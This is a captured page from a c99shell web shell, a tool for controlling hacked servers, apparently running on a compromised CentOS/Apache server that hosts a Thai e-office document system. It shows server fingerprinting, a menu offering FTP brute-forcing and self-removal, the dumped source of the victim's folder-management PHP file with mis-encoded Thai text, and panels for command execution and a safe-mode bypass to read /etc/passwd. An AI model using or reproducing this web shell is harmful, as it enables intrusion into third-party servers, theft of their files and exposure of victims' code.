!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/directorBCNU/admin/   drwxr-xr-x
Free 52.6 GB of 127.8 GB (41.16%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     manageFolder.php (9.92 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include_once "template.php";
include_once 
"../class/clsTable.php";
include_once 
"../class/clsDepartment.php";
include_once 
"../class/clsPerson.php";
include_once 
"../link/function.php";
include_once 
"../class/clsDocLinePosition.php";
include_once 
"../class/clsDocLineConfig.php";
include_once 
"../class/clsReceiveSendType.php";
include_once 
"../class/clsDocType.php";
include_once 
"../link/functionshow.php";
include_once 
"../class/clsDocattatchesTmp.php";
include_once 
"../class/clsDocuments.php";
include_once 
"../class/clsDocSpeedLevel.php";
include_once 
"../class/clsDocSecreLevel.php";
include_once 
"../class/clsDocReceiveSend.php";
include_once 
"funct.php";
include_once 
"../class/clsDocInbox.php";
include_once 
"../link/keyThai.php";
$oC = new clsConnection($GLOBALS['DBHOST'], $GLOBALS['DBNAME_EOFFICE'], $GLOBALS['DBUSER_EOFFICE'], $GLOBALS['DBPASS_EOFFICE']);

$oDP = new Department($oC);
$oDP2 = new Department($oC);
$oDP3 = new Department($oC);
$oPS = new person($oC);
$oDlc = new DocLineConfig($oC);
$oDlc2 = new DocLineConfig($oC);
$oDlp = new docLinePosition($oC);
$oRSt = new receiveSendType($oC);
$oDt = new doctype($oC);
$oDtmp = new DocattatchesTmp($oC);
$oDoc = new Documents($oC);
$oDoc1 = new Documents($oC);
$oDoc2 = new Documents($oC);
$oDoc2 = new Documents($oC);
$oDoc3 = new Documents($oC);
$oDsl = new DocSpeedLevel($oC);
$oDcl = new DocSecretLevel($oC);
$oDsl2 = new DocSpeedLevel($oC);
$oDcl2 = new DocSecretLevel($oC);
$oRs = new DocReceiveSend($oC);
$oRs1 = new DocReceiveSend($oC);
$oRs2 = new DocReceiveSend($oC);
$oRs3 = new DocReceiveSend($oC);
$oRs4 = new DocReceiveSend($oC);
$oRs5 = new DocReceiveSend($oC);
$oRs6 = new DocReceiveSend($oC);
$oDbx = new DocInbox($oC);
$oDbx1 = new DocInbox($oC);
$oDbx3 = new DocInbox($oC);
$oDbx2 = new DocInbox($oC);
$MaxDocGroup=$oDP->SearchMaxDocGroup();
$InputThai=$oSys->SearchByInputThai();
$personId=$oU->userPsCode;
if(
$searchName!=""){ 
$flagshow=1;
 }
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=tis-620">
<link href="../source/style.css" rel="stylesheet" type="text/css">
</head>
<body>
<table  width="100%"  align="center">
<tr><td >
<fieldset>
      <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="entryDoc.php">˹ѧÊ×Íà¢éÒ</a>
<img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle">¨Ñ´¡ÒÃâ¿Åà´ÍÃì</font></legend>
        <form name="gg"  METHOD="POST" action="processEntryDoc.php">
        <table width="69%" border="1" align="center" cellpadding="0" cellspacing="0" bordercolor="#DADADA" style="border-collapse:collapse"  background="<?  echo "../picture/table_header_bg5.gif";  ?>">
          <tr height=22> 
            <td width="10%" align="center"><font  size="2">ÅӴѺ</font></td>
            <td width="40%" align="center"><font  size="2">ª×èÍâ¿Åà´ÍÃì&nbsp;(¨Ó¹Ç¹Ë¹Ñ§Ê×Í)</font></td>
            <td width="8%" align="center"><font  size="2">à»ÅÕ蹪×èÍ</font></td>
            <td width="5%" align="center"><font  size="2">ź</font></td>
            <td width="8%" colspan="2" align="center"><font  size="2">&nbsp;</font></td>
          </tr>
          <? $i=0;
          
$countsumdoc=0;
          
$numrow=0;
                  
$Topp=$oDbx1->SearchBypersonIdNoDelMin($personId);        
                
$Bottomp=$oDbx2->SearchBypersonIdNoDelMax($personId);
                
$countboxps=$oDbx3->SearchByCountpersonIdNoDel($personId);
                if(
$countboxps!="0" || $countboxps==""){
                 
$oDbx->SearchBypersonIdNoDelFolder($personId);
                
$numrow=$oDbx->NumRow();
                    while(
$oDbx->GetRecord()){    
                    if((
$i%2) == 0)   
                                              echo 
"<tr bgcolor=\"#FFFFFF\" height=22 >";
                                        else
                                              echo 
"<tr bgcolor=\"".$GLOBALS["COLOR_BG_TD_16"]."\"  height=22 align=\"left\">";
        
?>
        <td align="center"><? echo a2th($i+1);?></td>
          <td>&nbsp;&nbsp; 
            <? if($addname=="1" && $oDbx->DocInboxID==$DocInboxID){   ?>
            <input name="editfolder" type="text" size="30" maxlength="100" value="<? echo $oDbx->InboxName?>" onKeyPress="if(event.keyCode==39){  alert('ÃкºäÁèÊÒÁÒöºÑ¹·Ö¡µÑÇÍÑ¡ÉùÕéä´é!!'); return false;}else{     event.keyCode=KeyfontThai(event.keyCode,'<? echo $InputThai?>'); return event.keyCode;  }"> 
            <input name="add" type="button" value="ºÑ¹·Ö¡"  onClick='return renamefolder(<? echo $oDbx->DocInboxID;   ?>);'> 
            <?        }else{    echo $oDbx->InboxName; }   
                
$countdoc=$oRs->CountDocInFolder($personId,$oDbx->DocInboxID);  echo "&nbsp;(".a2th($countdoc).")";
        
?>
          </td>
          <td align="center"><a href="manageFolder.php?addname=1&DocInboxID=<? echo $oDbx->DocInboxID;   ?>"><img src="../picture/folder_open3.gif" alt="à»ÅÕ蹪×èÍâ¿Åà´ÍÃì"  border="0" style="cursor:pointer;" ></a></td>
          <td align="center"><img src="../picture/folder_del.gif" alt="źâ¿Åà´ÍÃì"  border="0" style="cursor:pointer;" onClick='return delfolder(<? echo $oDbx->DocInboxID;   ?>,<? echo $countdoc?>);'></td>
          <td width="4%" align="center" valign="middle">
          <? if($Topp!=$oDbx->seqBox){ ?><a href="processEntryDoc.php?method=changeSeq&typeb=Top&DocInboxID=<? echo $oDbx->DocInboxID;   ?>&seqBox=<? echo $oDbx->seqBox;   ?>&ps=<? echo $personId;?>">
          <img src="../picture/up.gif" alt="àÅ×è͹¢Öé¹"   border="0" style="cursor:pointer;"></a><? }else{   echo "&nbsp;"; } ?>
          </td>
          <td width="4%" align="center"  valign="middle">
          <? if($Bottomp!=$oDbx->seqBox){ ?><a href="processEntryDoc.php?method=changeSeq&typeb=Bottom&DocInboxID=<? echo $oDbx->DocInboxID;   ?>&seqBox=<? echo $oDbx->seqBox;   ?>&ps=<? echo $personId;?>">
          <img src="../picture/down.gif" alt="àÅ×è͹ŧ"border="0" style="cursor:pointer;"></a><? }else{   echo "&nbsp;"; }  ?> 
          </td>
          </tr>
          <?  $i++; $countsumdoc=$countsumdoc+$countdoc;  }    }   ?>
          <?  if($addline=="1"){    ?>
          <tr bgcolor="#FFFFFF"> 
              <td>&nbsp;</td>
            <td>&nbsp;&nbsp; <input name="foldernew" type="text" size="30" maxlength="100" onKeyPress="if(event.keyCode==39){  alert('ÃкºäÁèÊÒÁÒöºÑ¹·Ö¡µÑÇÍÑ¡ÉùÕéä´é!!'); return false;}else{     event.keyCode=KeyfontThai(event.keyCode,'<? echo $InputThai?>'); return event.keyCode;  }"> 
              &nbsp; <input name="add" type="button" value="ºÑ¹·Ö¡" onClick='return addfolder();'></td>
            <td>&nbsp;</td>
            <td>&nbsp;</td>
            <td>&nbsp;</td>
            <td>&nbsp;</td>
          </tr>
          <? ?>
        </table>
      <table width="69%" border="0" align="center" cellpadding="0" cellspacing="0" bordercolor="#DADADA" style="border-collapse:collapse">

      <tr><td align="right" height="25"><strong>ÃÇÁ˹ѧÊ×Íà¢éÒ·Õè¨Ñ´à¡çº <? echo a2th($numrow); ?> â¿Åà´ÍÃì <? echo a2th($countsumdoc); ?> ©ºÑº</strong></td></tr>
            <tr><td colspan="3" bgcolor="#FFFFFF" align="right" height="30" valign="middle">
      <a onClick="location.href = 'manageFolder.php?addline=1'" style="cursor:pointer;"><img src="../picture/folder_new.gif" alt="à¾ÔèÁâ¿Åà´ÍÃì"  border="0" style="cursor:pointer;">&nbsp;à¾ÔèÁâ¿Åà´ÍÃì</a>
      </td></tr>
      <tr><td align="center"><input type="button" name="cancel" value="¡ÅѺ˹éÒËÅÑ¡" onClick="location.href = 'entryDoc.php'"></td></tr>
      </table>
      <br>
      <input type="hidden" name="iddoc"> 
      <input type="hidden" name="countdocfolder"> 
     <input type="hidden" name="personId"  value="<? echo $personId?>"> 
     <input type="hidden" name="addline"  value="<? echo $addline?>"> 
      <input type="hidden" name="addname"  value="<? echo $addname?>"> 
    <input type="hidden" name="method">
      </form>
</fieldset> 
      <table width="99%" border="0" align="center">
        <tr> 
          <td width="126" align="left"><font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">&nbsp;<strong>ËÁÒÂà˵ؠ
            : </strong>&nbsp;</font></td>
          <td width="702" align="left"> <font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2"><img src="../picture/folder_open3.gif" alt="à»ÅÕ蹪×èÍâ¿Åà´ÍÃì"  border="0">&nbsp;¤ÅÔ¡à¾×èÍà»ÅÕ蹪×èÍâ¿Åà´ÍÃì&nbsp;&nbsp;&nbsp; 
            <img src="../picture/folder_del.gif" alt="źâ¿Åà´ÍÃì"  border="0" > 
            ¤ÅÔ¡à¾×èÍźâ¿Åà´ÍÃì</font>&nbsp;&nbsp;&nbsp;<font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2"><img src="../picture/folder_new.gif" alt="à¾ÔèÁâ¿Åà´ÍÃì"  border="0" >&nbsp;¤ÅÔ¡à¾×èÍà¾ÔèÁâ¿Åà´ÍÃì</font></td>
        </tr>
          <tr> 
          <td width="126" align="left">&nbsp;</td>
          <td width="702" align="left"> <font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">
          <img src="../picture/up.gif" alt="àÅ×è͹¢Öé¹"   border="0"> ¤ÅÔ¡à¾×èÍàÅ×è͹ÅӴѺâ¿Åà´ÍÃì¢Öé¹&nbsp;&nbsp;&nbsp;<img src="../picture/down.gif" alt="àÅ×è͹ŧ"   border="0"> ¤ÅÔ¡à¾×èÍàÅ×è͹ÅӴѺâ¿Åà´ÍÃìŧ</font></td></tr>
      </table>
</td>
</tr>
</table>
</body>
</html>
<script language="javascript">
function addfolder(){
    if(document.gg.foldernew.value==""){
        alert("¡ÃسҡÃÍ¡ª×èÍâ¿Åà´ÍÃì");
    }else{
                var agree=confirm("¤Ø³µéͧ¡ÒèÐÊÃéÒ§â¿Åà´ÍÃì¹Õéá¹è¹Í¹ãªèËÃ×ÍäÁè ?");
                if (agree){
                    document.gg.method.value="addfolder";
                    document.gg.submit();
                    return true;
                }else{
                    return false ;
                }
        
    }
}
function renamefolder(p){
    if(document.gg.editfolder.value==""){
        alert("¡ÃسҡÃÍ¡ª×èÍâ¿Åà´ÍÃì");
    }else{
                var agree=confirm("¤Ø³µéͧ¡ÒÃà»ÅÕ蹪×èÍâ¿Åà´ÍÃì¹Õéá¹è¹Í¹ãªèËÃ×ÍäÁè ?");
                if (agree){
                    document.gg.iddoc.value=p;
                    document.gg.method.value="renamefolder";
                    document.gg.submit();
                    return true;
                }else{
                    return false ;
                }
        
    }
}
function delfolder(p,q){
                if(q>0){
                    window.alert("Ëҡźâ¿Åà´ÍÃì·ÕèÁÕ˹ѧÊ×ÍÍÂÙè Ë¹Ñ§Ê×Í·ÕèÍÂØèã¹â¿Åà´ÍÃì¹Ñ鹨ж١ź");
                }
                var agree=confirm("¤Ø³µéͧ¡ÒèÐźâ¿Åà´ÍÃì¹Õéá¹è¹Í¹ãªèËÃ×ÍäÁè ?");
                if (agree){
                    document.gg.method.value="delfolder";
                    document.gg.iddoc.value=p;
                    document.gg.countdocfolder.value=q;
                    document.gg.submit();
                    return true;
                }else{
                    return false ;
                }
        
}
</script>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0077 ]--